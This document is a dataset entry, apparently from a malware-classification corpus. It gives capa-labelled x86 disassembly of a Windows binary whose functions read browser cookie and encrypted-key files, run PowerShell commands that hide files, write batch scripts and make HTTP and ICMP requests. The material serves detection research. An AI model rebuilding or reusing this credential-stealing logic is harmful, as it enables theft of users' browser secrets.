joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403100
Capabilities:
Get common file path
Get file size
Read file on windows

Disassembly:
push edi
push esi
push ebx
sub esp, 0x130
lea ebx, [esp + 0x2c]
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], ebx
mov dword [esp + 8], 0
mov dword [esp + 4], 0x1c
mov dword [esp], 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
sub esp, 0x14
mov eax, dword [esp + 0x140]
mov dword [esp], ebx
mov dword [esp + 4], eax
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
sub esp, 8
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0x80000000
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
sub esp, 0x1c
cmp eax, 0xffffffff
je 0x403220
mov ebx, eax
mov dword [esp + 0x28], 0
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
sub esp, 8
mov esi, eax
lea eax, [eax + 1]
mov dword [esp + 4], eax
mov dword [esp], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
sub esp, 8
mov edi, eax
lea eax, [esp + 0x28]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], esi
mov dword [esp + 4], edi
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
sub esp, 0x14
cmp dword [esp + 0x28], esi
jne 0x403210
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
sub esp, 4
add esp, 0x130
pop ebx
pop esi
pop edi
ret
mov dword [esp], 0x425769
call sym._printf_1
jmp 0x4031f8
add esp, 0x130
xor edi, edi
mov eax, edi
pop ebx
pop esi
pop edi
ret

Function at 0x403430
Capabilities:
Contain obfuscated stackstrings
Decode data using base64 via winapi
Encrypt data using dpapi

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x3c
mov eax, dword [esp + 0x50]
mov dword [esp], eax
call sym._GetCookieFileContent
test eax, eax
je 0x403510
mov edi, eax
mov eax, 0x22
mov dword [esp + 0x1e], 0x636e6522
mov word [esp + 0x2e], ax
lea eax, [esp + 0x1e]
mov dword [esp + 4], eax
mov dword [esp], edi
mov dword [esp + 0x22], 0x74707972
mov dword [esp + 0x26], 0x6b5f6465
mov dword [esp + 0x2a], 0x3a227965
call sym._strstr
test eax, eax
je 0x4034f0
lea ebx, [eax + 0x11]
mov dword [esp + 4], 0x22
mov dword [esp], ebx
call sym._strchr
test eax, eax
je 0x4034f0
sub eax, ebx
mov dword [esp], 0x40
mov esi, eax
lea eax, [eax + 1]
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
sub esp, 8
mov ebp, eax
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
mov dword [esp], eax
call sym._strncpy
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
sub esp, 4
mov dword [esp + 0x50], ebp
add esp, 0x3c
pop ebx
pop esi
pop edi
pop ebp
jmp sym._GetMasterKey
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
sub esp, 4
add esp, 0x3c
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], str.Reading_the_file_failed._n
call sym._printf_1
jmp 0x4034fc
Function at 0x403580
Capabilities:
Execute command

Disassembly:
push ebx
sub esp, 0x218
mov eax, dword [esp + 0x220]
lea ebx, [esp + 0x1c]
mov dword [esp + 4], str.powershell__s___s_____null
mov dword [esp], ebx
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x224]
mov dword [esp + 8], eax
call sym._sprintf_2
mov dword [esp], ebx
call sym._system
test eax, eax
setne al
add esp, 0x218
movzx eax, al
pop ebx
ret

Function at 0x4036f0
Capabilities:
Contain obfuscated stackstrings
Get common file path

Disassembly:
push ebp
mov ebp, ecx
push edi
mov edi, eax
push esi
push ebx
mov ebx, edx
sub esp, 0xbc
mov dword [esp], edx
call sym._strlen
mov edx, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [esp], 0x40
add eax, 1
mov dword [esp + 0x2c], edx
mov dword [esp + 4], eax
call edx
sub esp, 8
mov esi, eax
mov dword [esp], ebx
call sym._strlen
mov dword [esp + 4], ebx
add eax, 1
mov dword [esp], esi
mov dword [esp + 8], eax
call sym._strncpy
mov edx, dword [esp + 0x2c]
mov dword [esp + 4], 0x105
mov dword [esp], 0x40
call edx
sub esp, 8
mov ebx, eax
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x1a
mov dword [esp], 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
sub esp, 0x14
mov dword [esp], edi
call sym._strlen
mov dword [esp + 4], edi
lea edi, [esp + 0x4c]
add eax, 1
mov dword [esp], esi
mov dword [esp + 8], eax
call sym._strncat
mov dword [esp + 0x3f], 0x764a4855
mov esi, eax
lea eax, [esp + 0x38]
mov byte [esp + 0x4b], 0
mov dword [esp + 4], eax
lea eax, [esp + 0x3f]
mov dword [esp], eax
mov dword [esp + 0x43], 0x736c6d5a
mov dword [esp + 0x47], 0x3d4d585a
call sym._base64_decode
mov dword [esp + 8], ebp
mov dword [esp], edi
mov dword [esp + 0xc], eax
mov dword [esp + 4], 0x4257e0
call sym._sprintf_3
mov dword [esp + 4], edi
mov edi, dword [sym.imp.SHLWAPI.dll_PathAppendA]
mov dword [esp], ebx
call edi
sub esp, 8
mov dword [esp + 4], esi
mov dword [esp], ebx
call edi
mov eax, ebx
sub esp, 8
add esp, 0xbc
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x407650
Capabilities:
Encode data using xor

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x2c
lea eax, [esp + 0x1c]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x40]
mov dword [esp], eax
call sym._base64_decode
test eax, eax
je 0x40770c
mov edi, eax
mov eax, dword [esp + 0x1c]
add eax, 1
mov dword [esp], eax
call sym._malloc
mov ebx, eax
test eax, eax
je 0x40772d
mov dword [esp], edi
call sym._strlen
mov esi, eax
mov eax, dword [esp + 0x44]
mov dword [esp], eax
call sym._strlen
mov ebp, eax
test esi, esi
je 0x407708
xor ecx, ecx
lea esi, [esi]
mov eax, ecx
cdq
idiv ebp
mov eax, dword [esp + 0x44]
movzx eax, byte [eax + edx]
xor al, byte [edi + ecx]
mov byte [ebx + ecx], al
add ecx, 1
cmp esi, ecx
jne 0x4076b0
add esi, ebx
mov byte [esi], 0
mov dword [esp + 4], ebx
mov dword [esp], str.CONTROL_xor_decode___decoded:__s_n
call sym._printf_8
mov dword [esp], edi
call sym._free
mov dword [esp + 4], ebx
mov dword [esp], str.Decoded_XXX:__s_n
call sym._printf_8
add esp, 0x2c
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret
mov esi, ebx
jmp 0x4076cc
mov dword [esp], 2
xor ebx, ebx
call dword [0x423ecc]
mov dword [esp + 4], str.Base64_decoding_failed_n
mov dword [esp], eax
call sym._fprintf
jmp 0x4076f7
mov dword [esp], 2
call dword [0x423ecc]
mov dword [esp + 4], str.Memory_allocation_failed_n
mov dword [esp], eax
call sym._fprintf
mov dword [esp], edi
call sym._free
mov dword [esp], 1
call sym._exit
nop
nop
Function at 0x407790
Capabilities:
Execute command
Write and execute a file
Write file on windows

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x21c
mov ebx, dword [esp + 0x230]
cmp ebx, 1
je 0x407886
cmp ebx, 2
je 0x4078de
mov eax, str.Pass_an_int_between_1_and_3
cmp ebx, 3
jne 0x407867
mov ebx, 1
lea esi, [esp + 0x1c]
mov dword [esp], ebx
mov dword [esp + 4], esi
call sym._base64_decode
mov dword [esp + 4], 0x4286ab
mov ebp, eax
mov eax, dword [esp + 0x234]
mov dword [esp], eax
call sym._fopen
mov dword [esp], ebp
mov edi, eax
call sym._strlen
mov dword [esp + 0xc], edi
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov dword [esp], ebp
call sym._fwrite
mov dword [esp], edi
call sym._fclose
mov dword [esp], ebx
call sym._free
lea eax, [esp + 0x18]
mov dword [esp], str.cG93ZXJzaGVsbCBTZXQtSXRlbVByb3BlcnR5IC1QYXRo
mov dword [esp + 4], eax
call sym._base64_decode
mov edx, dword [esp + 0x234]
mov dword [esp + 4], str._s__s__Name_Attributes__Value___System.IO.FileAttributes_::Hidden_
mov dword [esp + 8], eax
mov dword [esp + 0xc], edx
mov dword [esp], esi
call sym._sprintf.constprop.0_5
mov dword [esp], esi
call sym._system
test eax, eax
jne 0x407878
mov eax, dword [esp + 0x234]
add esp, 0x21c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], str.Set_attribute_of_file_to_hidden
call sym._puts
jmp 0x407860
mov dword [esp], 0x34f8
mov edi, 2
call sym._malloc
mov ebx, eax
mov eax, dword [str.QGVjaG8gb2ZmCnNldGxvY2FsIGVuYWJsZWRlbGF5ZWRleHBhbnNpb24KcmVtIHN1cHBvcnQgdW1s]
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._strcat
mov eax, dword [str.YXV0cwpjaGNwIDY1MDAxID5udWwKCnJlbSBTZXQgdGhlIG1pbmltdW0gZmlsZSBzaXplIHRocmVz]
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._strcat
mov eax, dword [edi*4 + 0x423b40]
mov dword [esp], ebx
add edi, 1
mov dword [esp + 4], eax
call sym._strcat
cmp edi, 0x71
jne 0x4078bb
add ebx, 1
jmp 0x4077c6
mov dword [esp], 0x38040
call sym._malloc
mov edi, eax
mov eax, dword [str.QGVjaG8gb2ZmCgpyZW0g0KHQutCw0L3QuNGA0L7QstCw0L3QuNC1INC60L7RiNC10LvRjNC60L7Q]
mov dword [esp], edi
mov dword [esp + 4], eax
call sym._strcat
mov eax, dword [str.siDQuCDRgNCw0YHRiNC40YDQtdC90LjQuSDQsdGA0LDRg9C30LXRgNCwCnJlbSDQndC10L7QsdGF]
mov dword [esp], edi
mov dword [esp + 4], eax
call sym._strcat
mov eax, dword [ebx*4 + 0x421d60]
mov dword [esp], edi
add ebx, 1
mov dword [esp + 4], eax
call sym._strcat
cmp ebx, 0x778
jne 0x40790e
lea ebx, [edi + 1]
jmp 0x4077c6
Function at 0x4079a0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x56c
mov eax, dword [esp + 0x580]
mov dword [esp + 4], 0x43ed21
mov dword [esp], eax
call sym._fopen
mov dword [esp + 0x1c], eax
test eax, eax
je 0x407b48
mov dword [esp + 8], 2
mov esi, eax
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._fseek
mov dword [esp], esi
call sym._ftell
mov dword [esp], esi
mov ebx, eax
call sym._rewind
mov eax, ebx
cdq
idiv dword [esp + 0x584]
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x584]
test eax, eax
jle 0x407b19
mov eax, dword [esp + 0x584]
mov dword [esp + 0x24], ebx
lea esi, [esp + 0x160]
mov dword [esp + 0x20], 0
sub eax, 1
mov dword [esp + 0x2c], eax
lea esi, [esi]
nop
mov dword [esp], str.Start_for_loop
call sym._puts
mov eax, dword [esp + 0x20]
mov dword [esp + 4], str._s.part_d
mov edi, eax
add eax, 1
mov dword [esp + 0x20], eax
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x580]
mov dword [esp + 8], eax
lea eax, [esp + 0x34]
mov dword [esp], eax
call sym._sprintf.constprop.0_6
lea eax, [esp + 0x34]
mov dword [esp + 4], 0x43ed46
mov dword [esp], eax
call sym._fopen
mov ebx, eax
test eax, eax
je 0x407b60
mov ebp, dword [esp + 0x24]
cmp dword [esp + 0x2c], edi
cmovne ebp, dword [esp + 0x28]
test ebp, ebp
jg 0x407ad2
jmp 0x407af8
mov dword [esp + 0xc], ebx
mov dword [esp + 8], edi
mov dword [esp + 4], 1
mov dword [esp], esi
call sym._fwrite
cmp edi, eax
jne 0x407b30
sub ebp, edi
test ebp, ebp
jle 0x407af8
mov eax, dword [esp + 0x1c]
mov dword [esp + 8], 0x400
mov dword [esp + 4], 1
mov dword [esp + 0xc], eax
mov dword [esp], esi
call sym._fread
mov edi, eax
test eax, eax
jne 0x407ab0
mov dword [esp], ebx
call sym._fclose
mov ecx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
sub dword [esp + 0x24], ecx
cmp eax, dword [esp + 0x584]
jne 0x407a40
mov eax, dword [esp + 0x1c]
mov dword [esp], eax
call sym._fclose
add esp, 0x56c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], str.Error_writing_to_output_file
call sym._perror
mov dword [esp], 1
call sym._exit
mov dword [esp], str.Error_opening_file
call sym._perror
mov dword [esp], 1
call sym._exit
mov dword [esp], str.Error_creating_output_file
call sym._perror
mov dword [esp], 1
call sym._exit
lea esi, [esi]
nop
Function at 0x408540
Capabilities:
Hash data using sha256

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0xac
mov ebx, dword [esp + 0xc0]
mov dword [esp], ebx
call sym._strlen
mov dword [esp], 0x41
mov esi, eax
call sym._malloc
mov dword [esp + 0x74], 0
mov byte [eax], 0
mov edi, eax
mov dword [esp + 0x78], 0
mov dword [esp + 0x7c], 0
mov dword [esp + 0x80], 0x6a09e667
mov dword [esp + 0x84], 0xbb67ae85
mov dword [esp + 0x88], 0x3c6ef372
mov dword [esp + 0x8c], 0xa54ff53a
mov dword [esp + 0x90], 0x510e527f
mov dword [esp + 0x94], 0x9b05688c
mov dword [esp + 0x98], 0x1f83d9ab
mov dword [esp + 0x9c], 0x5be0cd19
test esi, esi
je 0x408697
add esi, ebx
xor eax, eax
lea ebp, [esp + 0x34]
jmp 0x4085f7
add ebx, 1
cmp ebx, esi
je 0x408640
movzx edx, byte [ebx]
mov byte [esp + eax + 0x34], dl
add eax, 1
mov dword [esp + 0x74], eax
cmp eax, 0x40
jne 0x4085f0
mov dword [esp + 4], ebp
mov dword [esp], ebp
call sym._SHA256Transform
mov eax, dword [esp + 0x78]
cmp eax, 0xfffffdff
jbe 0x408626
add dword [esp + 0x7c], 1
add eax, 0x200
add ebx, 1
mov dword [esp + 0x74], 0
mov dword [esp + 0x78], eax
xor eax, eax
cmp ebx, esi
jne 0x4085f7
lea ebx, [esp + 0x14]
mov dword [esp], ebp
lea esi, [esp + 0x11]
mov dword [esp + 4], ebx
lea ebp, [esp + 0x34]
call sym._SHA256Final
lea esi, [esi]
nop
movzx eax, byte [ebx]
mov dword [esp + 4], str._02x
add ebx, 1
mov dword [esp], esi
mov dword [esp + 8], eax
call sym._sprintf.constprop.0_7
mov dword [esp + 4], esi
mov dword [esp], edi
call sym._strcat
cmp ebp, ebx
jne 0x408660
add esp, 0xac
mov eax, edi
pop ebx
pop esi
pop edi
pop ebp
ret
lea ebp, [esp + 0x34]
jmp 0x408640
Function at 0x408bd0
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov eax, 0xaaaaaaab
push edi
push esi
push ebx
sub esp, 0x2c
mov ebx, dword [esp + 0x44]
mov esi, dword [esp + 0x40]
lea edx, [ebx + 2]
mul edx
shr edx, 1
lea eax, [edx*4]
mov dword [esp + 0x14], edx
mov dword [esp + 0x18], eax
add eax, 1
mov dword [esp], eax
call sym._malloc
mov edi, eax
test eax, eax
je 0x408ce3
test ebx, ebx
je 0x408cdb
mov dword [esp + 0x1c], eax
mov ebp, eax
xor ecx, ecx
jmp 0x408c94
movzx edi, byte [esi + ecx + 1]
lea edx, [ecx + 2]
shl edi, 8
cmp edx, ebx
jae 0x408cf0
movzx edx, byte [esi + edx]
add ecx, 3
add edx, edi
shl eax, 0x10
add ebp, 4
add eax, edx
xor edx, edx
mov edi, eax
shr edi, 0x12
mov dl, byte [edi + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov edi, eax
shr edi, 0xc
and edi, 0x3f
mov dh, byte [edi + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov edi, eax
and eax, 0x3f
shr edi, 6
movzx eax, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
and edi, 0x3f
movzx edx, dx
movzx edi, byte [edi + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
shl eax, 0x18
shl edi, 0x10
or edx, edi
or edx, eax
mov dword [ebp - 4], edx
cmp ecx, ebx
jae 0x408cb0
lea edx, [ecx + 1]
movzx eax, byte [esi + ecx]
cmp edx, ebx
jb 0x408c28
mov ecx, edx
xor edi, edi
xor edx, edx
jmp 0x408c42
mov eax, 0xaaaaaaab
mov edi, dword [esp + 0x1c]
mul ebx
mov eax, edx
and edx, 0xfffffffe
shr eax, 1
add edx, eax
mov eax, ebx
sub eax, edx
cmp eax, 1
je 0x408d00
cmp eax, 2
jne 0x408cdb
mov eax, dword [esp + 0x18]
mov byte [edi + eax - 2], 0x3d
mov eax, dword [esp + 0x14]
mov byte [edi + eax*4], 0
add esp, 0x2c
mov eax, edi
pop ebx
pop esi
pop edi
pop ebp
ret
mov ecx, edx
xor edx, edx
jmp 0x408c42
mov eax, dword [esp + 0x18]
mov byte [edi + eax - 1], 0x3d
jmp 0x408cd2
Function at 0x40da60
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov esi, dword [esp + 0x30]
mov edi, dword [esp + 0x34]
test esi, esi
je 0x40dab8
test edi, edi
je 0x40dab8
mov edx, dword [esi + 0xc]
mov ebx, dword [edi + 0xc]
xor ebx, edx
and ebx, 0xff
jne 0x40dab8
movzx eax, dl
cmp eax, 0x20
jg 0x40dad0
and edx, 0xfc
jne 0x40db80
sub eax, 1
xor ebx, ebx
cmp eax, 1
setbe bl
add esp, 0x1c
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret 0xc
xor ebx, ebx
add esp, 0x1c
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret 0xc
lea edx, [eax - 0x40]
and edx, 0xffffffbf
jne case.0x40db9e.1
cmp esi, edi
je case.0x40db9e.0
cmp eax, 0x40
jne 0x40dba8
mov ebp, dword [esi + 8]
test ebp, ebp
je 0x40db24
mov edx, dword [ebp + 0x20]
mov ecx, dword [esp + 0x38]
mov eax, edi
call sym._get_object_item
test eax, eax
je case.0x40db9e.1
mov ecx, dword [esp + 0x38]
mov dword [esp + 4], eax
mov dword [esp], ebp
mov dword [esp + 8], ecx
call sym.win32op_ob.exe_cJSON_Compare_12
sub esp, 0xc
test eax, eax
je 0x40dab8
mov ebp, dword [ebp]
test ebp, ebp
jne 0x40daf0
mov edi, dword [edi + 8]
test edi, edi
je case.0x40db9e.0
mov edx, dword [edi + 0x20]
mov ecx, dword [esp + 0x38]
mov eax, esi
call sym._get_object_item
test eax, eax
je case.0x40db9e.1
mov ecx, dword [esp + 0x38]
mov dword [esp + 4], eax
mov dword [esp], edi
mov dword [esp + 8], ecx
call sym.win32op_ob.exe_cJSON_Compare_12
sub esp, 0xc
test eax, eax
je 0x40dab8
mov edi, dword [edi]
test edi, edi
jne 0x40db2b
lea esi, [esi]
lea esi, [esi]
mov ebx, 1
jmp case.0x40db9e.1
sub eax, 4
mov edx, 0x10001011
bt edx, eax
jae case.0x40db9e.1
cmp esi, edi
je case.0x40db9e.0
cmp eax, 0x1c
ja case.0x40db9e.1
jmp dword [eax*4 + 0x43f32c]
cmp eax, 0x80
jne case.0x40db9e.1
mov eax, dword [esi + 0x10]
test eax, eax
je case.0x40db9e.1
mov edx, dword [edi + 0x10]
test edx, edx
je case.0x40db9e.1
mov dword [esp + 4], edx
xor ebx, ebx
mov dword [esp], eax
call sym._strcmp
test eax, eax
sete bl
jmp case.0x40db9e.1
mov edi, dword [edi + 8]
mov esi, dword [esi + 8]
test edi, edi
je 0x40dc1c
test esi, esi
je 0x40dc1c
mov eax, dword [esp + 0x38]
mov dword [esp + 4], edi
mov dword [esp], esi
mov dword [esp + 8], eax
call sym.win32op_ob.exe_cJSON_Compare_12
sub esp, 0xc
mov ebx, eax
test eax, eax
je case.0x40db9e.1
mov esi, dword [esi]
mov edi, dword [edi]
test esi, esi
je 0x40dc1c
test edi, edi
jne 0x40dbef
xor ebx, ebx
cmp esi, edi
sete bl
jmp case.0x40db9e.1
fld qword [edi + 0x18]
fld qword [esi + 0x18]
fld st(0)
fabs
fld st(2)
fabs
fxch st(1)
fucomi st(1)
fcmovbe st(0), st(1)
fstp st(1)
fxch st(1)
xor ebx, ebx
fsubrp st(2)
fxch st(1)
fabs
fxch st(1)
fmul dword [0x43f3a4]
fcompi st(1)
fstp st(0)
setae bl
jmp case.0x40db9e.1
Function at 0x40dd00
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov eax, 0x15cc
push edi
push esi
push ebx
call fcn.004103a0
sub esp, eax
lea eax, [esp + 0x30]
mov ebx, dword [esp + 0x15e0]
mov dword [esp], 0x202
mov dword [esp + 4], eax
call dword [sym.imp.WS2_32.dll_WSAStartup]
sub esp, 8
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
call dword [sym.imp.WS2_32.dll_socket]
sub esp, 0xc
mov esi, eax
mov dword [esp], ebx
call dword [sym.imp.WS2_32.dll_gethostbyname]
sub esp, 4
mov edi, eax
test eax, eax
je 0x40defd
mov edx, dword [edi + 0xc]
movsx ecx, word [edi + 0xa]
lea eax, [esp + 0x24]
lea ebp, [esp + 0x20]
mov edi, 0xfff
mov edx, dword [edx]
mov dword [esp + 8], ecx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._memcpy
mov eax, 2
mov dword [esp], 0x50
mov word [esp + 0x20], ax
call dword [sym.imp.WS2_32.dll_htons]
sub esp, 4
mov dword [esp + 4], ebp
xor ebp, ebp
mov word [esp + 0x22], ax
mov dword [esp + 8], 0x10
mov dword [esp], esi
call dword [sym.imp.WS2_32.dll_connect]
sub esp, 0xc
mov eax, dword [esp + 0x15e4]
mov dword [esp + 0x10], ebx
lea ebx, [esp + 0x1c0]
mov dword [esp], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.GET__s_HTTP_1.1_r_nHost:__s_r_nConnection:_close_r_n_r_n
mov dword [esp + 4], 0x400
call sym._snprintf.constprop.0_1
mov dword [esp], ebx
call sym._strlen
mov dword [esp + 4], ebx
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov dword [esp], esi
call dword [sym.imp.WS2_32.dll_send]
sub esp, 0x10
lea ebx, [esp + 0x5c0]
jmp 0x40de46
add ebp, eax
mov byte [esp + ebp + 0x5c0], 0
mov dword [esp + 4], str._r_n_r_n
mov dword [esp], ebx
call sym._strstr
test eax, eax
jne 0x40de90
mov eax, edi
mov dword [esp + 0xc], 0
sub eax, ebp
mov dword [esp], esi
mov dword [esp + 8], eax
lea eax, [ebx + ebp]
mov dword [esp + 4], eax
call dword [sym.imp.WS2_32.dll_recv]
sub esp, 0x10
test eax, eax
jg 0x40de28
xor edi, edi
mov dword [esp], esi
call dword [sym.imp.WS2_32.dll_closesocket]
sub esp, 4
call dword [sym.imp.WS2_32.dll_WSACleanup]
add esp, 0x15cc
mov eax, edi
pop ebx
pop esi
pop edi
pop ebp
ret
sub eax, ebx
cmp eax, 0xfffffffd
jge 0x40deb7
jmp 0x40de6d
add ebx, 6
mov dword [esp + 4], 0x43f423
mov dword [esp], ebx
call sym._strstr
test eax, eax
jne 0x40ded0
mov dword [esp], ebx
mov dword [esp + 4], str.Date:
call sym._strstr
mov ebx, eax
test eax, eax
jne 0x40dea0
jmp 0x40de6d
mov byte [eax], 0
mov dword [esp], ebx
call sym._strlen
lea ebp, [eax + 1]
mov dword [esp], ebp
call sym._malloc
mov dword [esp + 8], ebp
mov dword [esp + 4], ebx
mov edi, eax
mov dword [esp], eax
call sym._memcpy
jmp 0x40de6f
mov dword [esp], 2
call dword [0x423ecc]
mov dword [esp + 4], str.Getheader.c:_Could_not_resolve_hostname._n
mov dword [esp], eax
call sym._fprintf.constprop.0_4
jmp 0x40de81
Function at 0x40e0d0
Capabilities:
Initialize winsock library
Send icmp echo request

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1bc
lea eax, [esp + 0x20]
mov dword [esp], 0x202
mov edi, dword [esp + 0x1d0]
mov dword [esp + 4], eax
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov edx, eax
sub esp, 8
mov eax, 1
test edx, edx
je 0x40e110
add esp, 0x1bc
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], 0x28
call sym._malloc
mov ebx, eax
test eax, eax
je 0x40e248
call sym._IcmpCreateFile_0
mov esi, 5
mov ebp, eax
cmp eax, 0xffffffff
jne 0x40e17c
jmp 0x40e228
movzx eax, byte [ebx + 0x14]
mov dword [esp + 0x10], eax
mov eax, dword [ebx + 8]
mov dword [esp + 0xc], eax
movzx eax, word [ebx + 0xc]
mov dword [esp + 4], edi
mov dword [esp + 8], eax
mov dword [esp], str.Ping_to__s_successful:_bytes_d_time_ldms_TTL_d_n
call sym._printf_9
mov dword [esp], 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 4
sub esi, 1
je 0x40e1f8
mov dword [esp], edi
call dword [sym.imp.WS2_32.dll_inet_addr]
sub esp, 4
mov dword [esp + 0x1c], 0x3e8
mov dword [esp + 0x18], 0x28
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 4
mov dword [esp + 8], str.Data
mov dword [esp + 4], eax
mov dword [esp], ebp
call sym._IcmpSendEcho_32
sub esp, 0x20
test eax, eax
jne 0x40e140
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 4], edi
mov dword [esp + 8], eax
mov dword [esp], str.Ping_to__s_failed._Error:__ld_n
call sym._printf_9
mov dword [0x447e9c], 1
jmp 0x40e167
mov dword [esp], ebp
call sym._IcmpCloseHandle_4
sub esp, 4
mov dword [esp], ebx
call sym._free
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [0x447e9c]
add esp, 0x1bc
pop ebx
pop esi
pop edi
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.IcmpCreateFile_returned_an_error:__ld_n
mov dword [esp + 4], eax
call sym._printf_9
mov dword [esp], ebx
call sym._free
jmp 0x40e20b
mov dword [esp], str.Unable_to_allocate_memory_for_the_reply_buffer._n
call sym._printf_9
jmp 0x40e20b